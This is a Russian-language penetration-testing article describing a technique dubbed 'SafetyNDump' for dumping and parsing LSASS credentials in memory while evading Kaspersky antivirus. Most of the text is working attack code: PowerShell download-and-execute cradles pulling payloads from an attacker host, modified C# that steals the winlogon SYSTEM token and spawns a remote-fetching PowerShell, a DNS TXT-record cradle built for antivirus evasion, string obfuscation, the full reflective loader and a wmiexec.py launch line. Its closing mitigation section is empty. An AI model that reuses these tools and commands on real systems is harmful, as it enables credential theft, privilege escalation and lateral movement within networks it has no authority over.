В этой статье под­робно раз­берем скры­тое при­мене­ние ути­литы NanoDump из памяти, ког­да модели­руемый зло­умыш­ленник не обла­дает «маяч­ком» C&C на ата­куемом сетевом узле, и срав­ним такой спо­соб исполь­зования NanoDump с при­мене­нием SafetyKatz.

Pentest Award

Этот текст получил пер­вое мес­то на пре­мии Pentest Award 2024 в катего­рии «Раз bypass, два bypass». Это сорев­нование еже­год­но про­водит­ся ком­пани­ей Awillix.

NanoDump уже успел обрести широкую популяр­ность у вен­доров AV/EDR, что пос­пособс­тво­вало написа­нию для него кучи детек­тов, поэто­му теперь мы можем более сво­бод­но поделить­ся сво­им опы­том его исполь­зования на «внут­ряках».

info

Эта замет­ка — про­дол­жение темы, начатой в статье «Дам­пы LSASS для всех, даром, и пусть ник­то не уйдет оби­жен­ный», в которой я показы­вал, как мож­но «по‑молодеж­ному» вытас­кивать сек­реты из памяти про­цес­са lsass.exe для повыше­ния при­виле­гий в кор­поратив­ном домене Active Directory или даль­нейших боковых переме­щений в нед­ра внут­рянки заказ­чика пен­теста.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Вводная

Для начала нем­ного понос­таль­гиру­ем по вре­менам, ког­да деревья были зеленее, а анти­вирус­ные решения не были так жес­токи по отно­шению к рядовым исполни­телям про­ектов по тес­тирова­нию на про­ник­новение. В то вре­мя (око­ло пяти лет до момен­та написа­ния статьи) в сос­таве кол­лекции GhostPack появил­ся инте­рес­ный инс­тру­мент SafetyKatz, в рам­ках раз­работ­ки которо­го иссле­дова­тель @harmj0y вдох­нул новую жизнь в небезыз­вес­тный Mimikatz, уже на тот момент «палив­ший­ся» всем и вся при его исполь­зовании в чис­том виде.

SafetyKatz деком­позиру­ет про­цесс извле­чения дан­ных аутен­тифика­ции из LSASS на два эта­па: непос­редс­твен­ное соз­дание дам­па с помощью API-руч­ки dbghelp.dll!MiniDumpWriteDump и пар­синг получен­ного дам­па пос­редс­твом модифи­циро­ван­ного (умень­шен­ного по сво­им воз­можнос­тям) Mimikatz. Пос­ледний, в свою оче­редь, заг­ружа­ется в память по методу PE Reflection и выпол­няет захар­дко­жен­ные коман­ды sekurlsa::logonpasswords и sekurlsa::ekeys в отно­шении уже соз­данно­го ранее дам­па памяти. По завер­шении работы ути­литы прив­несен­ные арте­фак­ты — минидамп, сох­ранен­ный по пути C:\Windows\Temp\debug.bin, — уда­ляют­ся с фай­ловой сис­темы жер­твы.

Описание SafetyKatz (github.com)
Опи­сание SafetyKatz (github.com)

Та­кой под­ход в свое вре­мя поз­волял умень­шить количес­тво детек­тов исполь­зования sekurlsa::logonpasswords «на живую», сок­ращал вре­мя на выдер­гивание хешей и клю­чей (немалый дамп памяти боль­ше не нуж­но тащить к себе на тач­ку) и пря­тал сиг­натуру Mimikatz от ста­тичес­кого ана­лиза. При­мер­но такой же под­ход дол­гое вре­мя при­менял­ся моей коман­дой с тем лишь отли­чием, что я исполь­зовал новомод­ный NanoDump из памяти для соз­дания слеп­ка памяти и биб­лиоте­ку на C# — для его пар­синга на мес­те.

Даль­ше мы рас­смот­рим попод­робнее, как соз­дать свой «SafetyNDump» для фана и про­фита, но спер­ва озна­комим­ся со вспо­мога­тель­ным инс­тру­мен­тари­ем.

info

Сра­зу ого­ворюсь, что далее не будут рас­смот­рены дей­ству­ющие на момент написа­ния статьи тех­ники обхо­да AV/EDR для дам­па LSASS. Цель пуб­ликации — рас­ска­зать, как мы дол­гое вре­мя «абь­юзи­ли» одну из лазе­ек укло­нения от «Кас­пер­ско­го», и тем самым поделить­ся сво­им опы­том с кол­легами, игра­ющи­ми на сто­роне дефен­са. На дан­ный момент опи­сыва­емый век­тор ата­ки зак­рыт.

System.Reflection.Assembly. Король умер, да здравствует король!

Мне очень нра­вит­ся PowerShell и его воз­можнос­ти в кон­тек­сте нас­тупатель­ной безопас­ности. В слу­чае, ког­да в целевой инфраструк­туре не заж­жен AppLocker + Constrained Language Mode, прос­тота при­мене­ния это­го инс­тру­мен­та Windows-авто­мати­зации на обыч­ных пен­тестах — прос­то подарок для модели­руемо­го зло­умыш­ленни­ка. На киберу­чени­ях с необ­ходимостью скры­того исполне­ния команд его тоже мож­но прис­пособить под нуж­ды исполни­теля с помощью пат­чинга ETW, вызова ран­спей­са System.Management.Automation нап­рямую (я смот­рю на тебя, PowerShx!) и дру­гих трик­сов.

Мы будем целить­ся в исполне­ние нак­рафчен­ного на C# кода через механизм System.Reflection.Assembly, что поможет еще боль­ше упростить жизнь этич­ному зло­умыш­ленни­ку при под­клю­чении к сетевым узлам через служ­бу WinRM (Windows Remote Management) или, нап­ример, с помощью скрип­тов exec.py из Impacket.

На прос­торах интерне­та есть куча ма­тери­алов, как выпол­нять код на «шар­пах» через PowerShell, но мне, как обыч­но, не хва­тало а‑в-т‑о-м‑а-т‑и-з‑а-ц‑и-и... Поэто­му в сво­бод­ное от работы вре­мя я написал прос­тую питонячью ути­литу bin2pwsh, которая поз­воля­ет кон­верти­ровать соб­ранные на C# бинари в лаун­черы на PowerShell.

Я даже лого сделал, ага (с logoly.pro)
Я даже лого сде­лал, ага (с logoly.pro)

Крат­ко опи­шу ее воз­можнос­ти:

Рас­смот­рим при­меры исполь­зования.

Пример 1. Базовый

Это прос­тая упа­ков­ка Rubeus в PowerShell-лаун­чер на осно­ве стан­дар­тно­го шаб­лона System.Reflection.Assembly.

curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
bin2pwsh.py Rubeus.exe
Генерация загрузчика Rubeus на PowerShell
Ге­нера­ция заг­рузчи­ка Rubeus на PowerShell
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Rubeus.ps1")
Invoke-Rubeus hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!
Загрузка и запуск Rubeus из памяти
Заг­рузка и запуск Rubeus из памяти

Пример 2. Продвинутый

Те­перь пос­мотрим на прод­винутую упа­ков­ку Rubeus в PowerShell-лаун­чер на осно­ве шаб­лона System.Reflection.Emit и его исполне­ние через запуск селф‑инжекто­ра шелл‑кода, получен­ного с помощью фор­ка Donut за авторс­твом KlezVirus с динами­чес­ким перехе­широ­вани­ем неп­рямых сис­темных вызовов (под­робнее о тех­нике рас­ска­зыва­ет ро­лик на YouTube). Чаще все­го этот спо­соб исполь­зует­ся с натив­ным кодом, одна­ко паковать таким обра­зом управля­емый код так­же ник­то не зап­реща­ет.

curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
py .\bin2pwsh.py 'Rubeus.exe hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!' -d -wh C:\Tools\SysWhispers3\syswhispers.py -whm jumper_randomized --emit --debug --silent
Генерация загрузчика Rubeus на PowerShell
Ге­нера­ция заг­рузчи­ка Rubeus на PowerShell
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-RubeusInject.ps1")
Invoke-RubeusInject
Загрузка и запуск Rubeus из памяти
Заг­рузка и запуск Rubeus из памяти

Пример 3. PowerSharpPack своими руками

Ну и на слад­кое — при­мер соз­дания ана­лога репози­тория PowerSharpPack (от @ShitSecure) из SharpCollection (от @Flangvik) за счи­таные секун­ды.

git clone https://github.com/Flangvik/SharpCollection
cd SharpCollection/NetFramework_4.0_Any
for exe in ./*.exe; do bin2pwsh.py $exe --silent; done
Делаем лаунчеры на PowerShell из SharpCollection
Де­лаем лаун­черы на PowerShell из SharpCollection
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Seatbelt.ps1")
Invoke-Seatbelt -group=system
Загрузка и запуск Seatbelt из памяти
Заг­рузка и запуск Seatbelt из памяти

Со вспо­мога­тель­ным инс­тру­мен­тари­ем разоб­рались, вер­немся к нашей проб­леме. Что­бы оста­вать­ся орга­низо­ван­ными и во имя кон­цепции «раз­деляй и влас­твуй», не будем отхо­дить от нар­ратива деком­позиции SafetyKatz и пооче­ред­но рас­смот­рим соз­дание дам­па и его пар­синг.

Пишем SafetyNDump. Создание дампа LSASS в обход AV

Итак, пер­вое, с чем нуж­но разоб­рать­ся, — это соз­дание дам­па памяти lsass.exe. Спо­соб дол­жен про­катить с дей­ству­ющим средс­твом защиты.

Олицетворение SYSTEM из неинтерактивной консоли

На момент тес­тирова­ния NanoDump при работе с «Кас­пер­ским» стре­ляла опция -eh/--elevate-handle, поза­имс­тво­ван­ная авто­ром из этой пре­зен­ташки. Основная идея зак­люча­ется в откры­тии хен­дла к целево­му про­цес­су с при­виле­гиями PROCESS_QUERY_LIMITED_INFORMATION и пос­леду­ющем их повыше­нии до необ­ходимых с помощью ntdll.dll!NtDuplicateObject. Как я писал в пре­дыду­щей статье, один из спо­собов бло­киров­ки дос­тупа к LSASS — сде­лать так, что­бы было невоз­можно получить при­виле­гиро­ван­ный дес­крип­тор lsass.exe, и этот трюк поз­воля­ет обой­ти упо­мяну­тое огра­ниче­ние.

Осо­бен­ность исполь­зования опции -eh в том, что нуж­но запус­кать NanoDump с при­виле­гиями NT AUTHORITY\SYSTEM, что вно­сит допол­нитель­ные труд­ности. Тащить на тар­гет PsExec? Соз­давать немед­ленную при­виле­гиро­ван­ную задачу пла­ниров­щика? Под­менять сер­висные бинари? Дол­го, нуд­но и шум­но.

Я решил пой­ти по пути Token Impersonation (MITRE ATT&CK T1134.001) и модифи­циро­вать ути­литу tokenduplicator, которой час­то поль­зуюсь как бес­фай­ловой аль­тер­нативой PsExec. Спер­ва пос­мотрим, как она работа­ет в исходном виде. Я кло­нирую репози­торий, соберу релиз и сде­лаю из него PowerShell-лаун­чер с помощью bin2pwsh.

git clone https://github.com/magnusstubman/tokenduplicator
cd .\tokenduplicator
devenv /build Release .\tokenduplicator.sln
cd .\tokenduplicator\bin\Release
py .\bin2pwsh.py .\tokenduplicator.exe
Создаем PowerShell-лаунчер из tokenduplicator.exe
Соз­даем PowerShell-лаун­чер из tokenduplicator.exe

Заг­ружа­ем в память и стя­гива­ем токен у winlogon.exe, что­бы запус­тить шелл с при­виле­гиями сис­темы.

IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-tokenduplicator.ps1")
Invoke-tokenduplicator winlogon cmd
Использование «ванильного» tokenduplicator
Ис­поль­зование «ваниль­ного» tokenduplicator

Все выг­лядит отлично, за исклю­чени­ем одно­го но: работать это будет толь­ко из инте­рак­тивно­го шел­ла.

Провал использования tokenduplicator через Evil-WinRM
Про­вал исполь­зования tokenduplicator через Evil-WinRM

Ес­ли вспом­нить, чему нас учил OSEP, ста­нет понят­но, что, если мы хотим запус­тить CreateProcessWithTokenW из неин­терак­тивной сес­сии, нуж­но поп­равить парамет­ры окру­жения dwLogonFlags, dwCreationFlags, lpEnvironment и lpCurrentDirectory, ус­танов­ленные по дефол­ту в tokenduplicator. Без этих опций запущен­ный про­цесс тут же краш­нется, так как у акка­унта SYSTEM (который мы оли­цет­воря­ем) не будет кор­рек­тно задан­ного сеан­са вхо­да.

Запуск CreateProcessWithTokenW в tokenduplicator
За­пуск CreateProcessWithTokenW в tokenduplicator

Я убрал лиш­ний информа­цион­ный вывод, и у меня получил­ся такой TokenDuplicator.Program.Main:

public static void Main()
{
Process[] processes = Process.GetProcessesByName("winlogon");
IntPtr hProcess = processes[0].Handle;
OpenProcessToken(
hProcess,
0x0002, // TOKEN_DUPLICATE
out IntPtr hToken);
DuplicateTokenEx(
hToken,
0xF01FF, // TOKEN_ALL_ACCESS
IntPtr.Zero,
2, // SecurityImpersonation
1, // TokenPrimary
out IntPtr hDupToken);
CreateEnvironmentBlock(out IntPtr lpEnvironment, hToken, false);
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = @"WinSta0\Default";
StringBuilder sbSystemDir = new StringBuilder(256);
GetSystemDirectory(sbSystemDir, 256);
CreateProcessWithTokenW(
hDupToken,
1, // LOGON_WITH_PROFILE
null,
"powershell iex(new-object net.webclient).downloadstring(""""http://10.10.13.37/cradle.ps1"""")",
0x400, // CREATE_UNICODE_ENVIRONMENT
lpEnvironment,
sbSystemDir.ToString(),
ref si,
out PROCESS_INFORMATION _);
}

Те­перь при запус­ке Invoke-TokenDuplicator из Evil-WinRM мы успешно добива­емся исполне­ния коман­ды на PowerShell, при­чем без отоб­ражения всплы­вающе­го окна интер­пре­тато­ра у залоги­нен­ного поль­зовате­ля. Да, мы не зах­ватыва­ем вывод исполня­емой коман­ды, но это нам и не силь­но надо.

Есть контакт
Есть кон­такт

SafetyNDump.Net.WebClient или Resolve-DnsName?

Что­бы уло­жить­ся в 1024 сим­вола, отве­ден­ные на аргу­мент lpCommandLine фун­кции CreateProcessWithTokenW, нам хочешь не хочешь при­дет­ся исполь­зовать заг­рузоч­ный кредл, что­бы вытянуть и исполнить внеш­ний скрипт на PowerShell, содер­жащий NanoDump, из которо­го мы пред­варитель­но сде­лаем лаун­чер с помощью bin2pwsh и Donut.

Од­нако здесь сно­ва на пути могут встать анти­вирус­ные решения, которым обыч­но очень не нра­вит­ся, ког­да неч­то вро­де IEX (IWR http://...) переда­ется стро­кой в те мес­та, где про­исхо­дит спа­ун про­цес­са (будь то соз­дание объ­ектов клас­са Win32_Process через WMI, старт задач пла­ниров­щика или вза­имо­дей­ствие с Windows API).

На помощь при­ходит ста­рый трюк с резол­вом TXT-записи под­кон­троль­ного домен­ного име­ни и его пос­леду­ющий пайп в Invoke-Expression. Этим ходом мы укло­няем­ся от ана­лиза стро­ковых арте­фак­тов заг­рузки и исполне­ния «чего‑то непонят­ного», что ожи­даемо ста­нет триг­гером для AV. Осоз­нание того, что это сра­бота­ет на нашем любимом анти­виру­се, приш­ло пос­ле экспе­римен­тов с запус­ком PowerShell через wmiexec.py.

Обсуждение находки в рабочем чатике
Об­сужде­ние наход­ки в рабочем чатике
Заблюренное изображение из обсуждения выше
Заб­люрен­ное изоб­ражение из обсужде­ния выше

В целом, я думаю, идея ясна: идем в нас­трой­ки сво­его домена и дела­ем при­мер­но так, как на рисун­ке ниже.

Настройки DNS
Нас­трой­ки DNS

Пос­ле это­го можем переда­вать URL, с которо­го надо гру­зить полез­ную наг­рузку, сле­дующим обра­зом в IEX:

$url="http://10.10.13.37/payload.txt"
IEX(Resolve-DnsName "cradle.contoso.com" 16).Strings[0]
И никаких тебе Net.WebClient или Invoke-WebRequest!
И никаких тебе Net.WebClient или Invoke-WebRequest!

С уче­том это­го трю­ка теперь наш код для спа­уна нового про­цес­са с кред­лом будет выг­лядеть так:

CreateProcessWithTokenW(
hDupToken,
1, // LOGON_WITH_PROFILE
null,
$"powershell $url=""""{args[0]}"""";IEX(Resolve-DnsName """"cradle.contoso.com"""" 16).Strings[0]",
0x400, // CREATE_UNICODE_ENVIRONMENT
lpEnvironment,
sbSystemDir.ToString(),
ref si,
out PROCESS_INFORMATION _);

Те­перь все, что оста­лось сде­лать для пер­вой час­ти (соз­дания дам­па LSASS), — это сле­пить лаун­чер на PowerShell для NanoDump и убе­дить­ся, что все работа­ет.

curl -sSL https://github.com/helpsystems/nanodump/raw/main/dist/nanodump.x64.exe -o nanodump.exe
bin2pwsh.py 'nanodump.exe -w C:\Windows\Temp\debug.bin -eh' --donut --debug
# Вытаскиваем содержимое тела функции в сырой скрипт, который выполнится сразу после IEX
vim Invoke-nanodumpInject.ps1
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-TokenDuplicator.ps1")
Invoke-TokenDuplicator http://10.10.13.37/Invoke-nanodumpInject.ps1
Get-Item C:\Windows\Temp\debug.bin
Норм, пока работает
Норм, пока работа­ет

Не будем отхо­дить от пла­на и перей­дем ко вто­рому тас­ку — пар­сингу соз­данно­го дам­па on-site.

Пишем SafetyNDump

Парсинг MiniDump

Глав­ная проб­лема, которая, на мой взгляд, пос­пособс­тво­вала соз­данию SafetyKatz, — отсутс­твие гиб­кого опен­сор­сно­го соф­та (нап­ример, на том же C#) для пар­синга фор­мата MiniDump. Эту фичу мож­но было бы куда более изящ­но встро­ить в свой код. Отсю­да нуж­да во всех этих вык­рутасах с отра­жен­ной заг­рузкой PE в память. Одна­ко вре­мя идет, нас­тупатель­ное ПО совер­шенс­тву­ется, рав­но как и анти­вирус­ное, и поэто­му сей­час мы можем пар­сить LSASS из памяти более изящ­но. Нап­ример, с помощью вари­анта MiniDump от @cube0x0.

Что­бы исполь­зовать эту ути­литу (по мне, так это боль­ше биб­лиоте­ка), я захар­дко­жу вход­ные аргу­мен­ты и обфусци­рую стро­ки с помощью InvisibilityCloak — если это­го не сде­лать, ска­ниро­вание памяти про­цес­са может най­ти сходс­тво кода с «мимиком» и забить тре­вогу. Сна­чала я тоже исправ­лял сиг­натуру минидам­па перед его чте­нием (NanoDump ее намерен­но ло­мает, что­бы не пло­дить IOC при сох­ранении фай­ла на диск), но на самом деле в этом нет необ­ходимос­ти.

Патч Minidump.Program.Main
Патч Minidump.Program.Main
py .\InvisibilityCloak.py -d .\MiniDump -n (-join ((65..90) + (97..122) | Get-Random -Count 16 | % )) -m reverse
Обфускация строк MiniDump с помощью InvisibilityCloak
Об­фуска­ция строк MiniDump с помощью InvisibilityCloak

Да­лее я ском­пилирую бинарь и... Сно­ва заюзаю bin2pwsh, что­бы прев­ратить его в скрипт на PowerShell.

Создание PowerShell-лаунчера из MiniDump
Соз­дание PowerShell-лаун­чера из MiniDump

Про­веря­ем, что все работа­ет, и выходим на финиш­ную пря­мую — объ­еди­нение всей этой вкус­нятины в один сце­нарий на PowerShell.

Да будет парсинг!
Да будет пар­синг!

Объединение результатов

Ду­маю, всем будет про­ще, если я прос­то при­веду финаль­ный код, соп­ровож­денный ком­мента­риями.

function Invoke-Stage
{
# Если 1, то первая фаза: повышаемся до системы + делаем дамп
if ($args[0] -eq "1")
{
$b64 = "<TOKENDUPLICATOR_BYTES_COMPRESSED_BASE64>"
$namespace = "TokenDuplicator"
$assemblyArgs = (, [string[]]$args[1..($args.Count)])
}
# Иначе (если 2), то вторая фаза: парсим дамп, сделанный на первой фазе
else
{
$b64 = "<MINIDUMP_BYTES_COMPRESSED_BASE64>"
$namespace = "wUFgAhfzjrXKDRGY"
$assemblyArgs = $null
}
# Обратное преобразование: Base64 -> распаковка -> массив байтов
$a = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String($b64))
$b = New-Object System.IO.Compression.DeflateStream($a, [System.IO.Compression.CompressionMode]::Decompress)
$c = New-Object System.IO.MemoryStream;
$b.CopyTo($c)
[byte[]]$d = $c.ToArray()
# Если вторая фаза, то нам нужен вывод сборки С#
# (перенаправляем стандартные дескрипторы вывода в строки)
# Иначе (если первая фаза) вывод не требуется -> skip
if ($args[0] -eq "2")
{
$e = [System.Console]::Out
$f = [System.Console]::Error
$g = New-Object System.IO.StringWriter
$h = New-Object System.IO.StringWriter
[System.Console]::SetOut($g)
[System.Console]::SetError($h)
}
# Отраженно загружаем в память сборку С#, ищем в ней точку входа по именам пространства имен, класса и метода и делаем ее Invoke с аргументами
$i = [System.Reflection.Assembly]::Load($d)
$j = [Reflection.BindingFlags]"Public,NonPublic,Static"
$k = $i.GetType("${namespace}.Program", $j)
$l = $k.GetMethod("Main", $j)
$l.Invoke($null, $assemblyArgs)
# Если вторая фаза, то нам нужен вывод сборки С#
# (восстанавливаем стандартные дескрипторы, выводим результат из строк на экран)
# Иначе (если первая фаза) вывод не требуется -> skip
if ($args[0] -eq "2")
{
[System.Console]::SetError($f)
[System.Console]::SetOut($e)
$m = ""
$m += $g.ToString()
$m += $h.ToString()
$m
}
}
function Invoke-SafetyNDump
{
# Первая фаза: TokenDuplicator + NanoDump --elevate-handle
# Дополнительно на вход передаем URL, откуда будем качать Invoke-nanodumpInject.ps1
Invoke-Stage 1 $args[0]; Sleep 10
# Вторая фаза: MiniDump
Invoke-Stage 2; rm C:\Windows\Temp\debug.bin
}

Ме­няем заг­лушки на Base64-стро­ки бай­тов TokenDuplicator и MiniDump, и мы готовы к финаль­ной про­бе! Сей­час этот метод уже не отра­бота­ет на «Кас­пер­ском», поэто­му на нем показы­вать резуль­тат бес­смыс­ленно. Вмес­то это­го я пос­тара­юсь вос­про­извести свои дей­ствия с реаль­ных пен­тестов на демонс­тра­цион­ном стен­де.

~ wmiexec.py -silentcommand -nooutput megacorp.local/snovvcrash:'Passw0rd!'@PC01.megacorp.local 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe url=""""http://10.10.13.37/Invoke-SafetyNDump.ps1"""";iex(resolve-dnsname """"cradle.contoso.com"""" 16).strings[0];Invoke-SafetyNDump http://10.10.13.37/payload.txt'

«Боевое» тестирование Invoke-SafetyNDump
«Боевое» тес­тирова­ние Invoke-SafetyNDump

Что здесь про­изош­ло:

  1. Про­вери­ли, что резуль­тиру­ющих фай­лов нет на машине‑жер­тве (отку­да взял­ся файл lol.txt, смот­ри в шаге 2).
  2. Дер­нули Invoke-SafetyNDump.ps1 с помощью wmiexec.py без зап­роса вывода резуль­тата коман­ды (фла­ги -silentcommand -nooutput). Что­бы перенап­равить вывод Invoke-SafetyNDump, для демонс­тра­ции я изме­нил его запуск сле­дующим обра­зом: Invoke-Stage 2 > C:\Windows\Temp\lol.txt. В фай­ле payload.txt содер­жится PowerShell-лаун­чер NanoDump.
  3. По­каза­ли, что NanoDump отра­ботал, чте­нием резуль­татов из фай­ла C:\Windows\Temp\lol.txt. В резуль­тате мы получи­ли свои хеши.

Вот так без осо­бых заморо­чек мож­но скраф­тить прод­винутую «мал­варь» (для нужд этич­ного хакин­га!) из откры­того ПО и пары строк на PowerShell.

Противодействие

Вмес­то зак­лючения я при­веду спи­сок рекомен­даций по митига­ции зло­упот­ребле­ния наруши­телем воз­можнос­тями PowerShell. Пред­полага­ется, что речь идет о кор­поратив­ной сре­де Active Directory и обе­зопа­сить нам нуж­но в пер­вую оче­редь тер­миналь­ные сер­веры и рабочие стан­ции поль­зовате­лей.

Всем шокола­док и веселых пен­тестов!